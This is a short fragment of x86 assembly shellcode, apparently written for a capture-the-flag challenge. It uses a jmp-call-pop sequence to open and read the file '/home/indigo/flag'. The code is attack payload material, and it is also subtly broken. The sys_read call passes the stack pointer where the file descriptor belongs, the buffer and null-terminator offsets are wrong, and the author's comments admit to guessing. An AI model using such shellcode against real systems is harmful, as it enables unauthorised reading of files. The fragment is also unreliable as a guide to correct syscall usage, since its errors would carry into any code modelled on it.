global _start _start: jmp short data str_found: xor eax, eax mov al, 5 ;sys_open xor ecx, ecx ; arg2 xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 pop ebx mov [ebx + 18], ecx ; arg1 int 0x80 ;eax now contains our file descriptor. mov al, 3 ;sys_read mov ebx, esp ;I think? mov cl, 0xff ;eh, random guess I guess int 0x80 data: call str_found db "/home/indigo/flag"